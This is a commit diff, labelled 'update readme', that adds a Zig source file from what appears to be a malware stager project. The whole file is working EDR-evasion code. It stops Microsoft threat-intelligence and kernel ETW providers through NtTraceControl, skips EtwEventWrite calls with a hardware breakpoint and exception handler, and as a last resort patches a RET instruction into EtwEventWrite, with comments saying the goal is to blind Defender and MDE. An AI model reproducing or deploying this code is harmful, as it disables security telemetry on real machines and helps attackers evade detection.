update readme
This commit is contained in:
+114
@@ -0,0 +1,114 @@
|
||||
// 3. ETW suppression — three-tier fallback.
|
||||
// HWBP method reference: https://github.com/FortisecValidation/Micro-Stager
|
||||
// 1. Global patch state + HWBP VEH handle + EtwEventWrite address cache.
|
||||
// 2. etw_hwbp_handler — SINGLE_STEP at EtwEventWrite → skip the call, return clean.
|
||||
// 3. try_hwbp_etw_bypass — installs VEH + DR0 breakpoint (no memory modification).
|
||||
// 4. EDR provider GUIDs — Microsoft-Windows-Threat-Intelligence, Kernel-Process, Mitigations.
|
||||
// 5. patch_etw — three-tier: NtTraceControl provider stop → HWBP → RET patch (last resort).
|
||||
// First two avoid memory modifications; RET patch fires if everything else failed.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
|
||||
var g_etw_patched: bool = false;
|
||||
var g_etw_hwbp_veh: ?*anyopaque = null;
|
||||
var g_etw_event_write_addr: ?*anyopaque = null;
|
||||
|
||||
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
|
||||
// raises a single-step exception. We skip the call by forwarding RIP past it.
|
||||
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
|
||||
{
|
||||
// Skip EtwEventWrite: set RIP to return address on stack, pop it
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
|
||||
// is in a debug register, the handler skips the call. EDRs can't see the patch.
|
||||
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
const get_addr = api.etw_get_proc_address orelse return false;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
if (etw_write == null) return false;
|
||||
|
||||
g_etw_event_write_addr = etw_write;
|
||||
|
||||
const veh = api.hwbp_add_veh orelse return false;
|
||||
const cur_thread = api.hwbp_get_thread orelse return false;
|
||||
const set_ctx = api.hwbp_set_thread_ctx orelse return false;
|
||||
|
||||
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
|
||||
if (g_etw_hwbp_veh == null) return false;
|
||||
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
|
||||
// MDE, and kernel-level process/syscall monitoring providers.
|
||||
const edr_provider_guids = [_][16]u8{
|
||||
// Microsoft-Windows-Threat-Intelligence
|
||||
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
|
||||
// Microsoft-Windows-Kernel-Process
|
||||
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
|
||||
// Microsoft-Windows-Security-Mitigations
|
||||
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
|
||||
};
|
||||
|
||||
// Three-tier fallback: stop EDR providers via NtTraceControl → hardware breakpoint on
|
||||
// EtwEventWrite → RET patch as absolute last resort. Each tier avoids memory modification
|
||||
// until the previous one fails. Returns early if already patched.
|
||||
pub fn patch_etw() void {
|
||||
if (g_etw_patched) return;
|
||||
api.ensure();
|
||||
_ = syscall.init_syscall();
|
||||
|
||||
// Tier 1: Stop known EDR ETW providers via NtTraceControl
|
||||
var stopped_any = false;
|
||||
for (&edr_provider_guids) |*guid| {
|
||||
var ret_len: win.ULONG = 0;
|
||||
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
|
||||
if (win.NT_SUCCESS(st)) {
|
||||
stopped_any = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (stopped_any) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
|
||||
// Tier 2: Hardware breakpoint bypass — no memory modification
|
||||
if (try_hwbp_etw_bypass(ntdll)) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
|
||||
// Tier 3: RET patch fallback — writes 0xC3 into EtwEventWrite's first byte
|
||||
const get_addr = api.etw_get_proc_address orelse return;
|
||||
const vp = api.etw_virtual_protect orelse return;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
if (etw_write) |addr| {
|
||||
var old: win.DWORD = 0;
|
||||
_ = vp(addr, 1, win.PAGE_EXECUTE_READWRITE, &old);
|
||||
@as(*volatile u8, @ptrCast(addr)).* = 0xC3;
|
||||
_ = vp(addr, 1, old, &old);
|
||||
}
|
||||
g_etw_patched = true;
|
||||
}
|
||||
Reference in New Issue
Block a user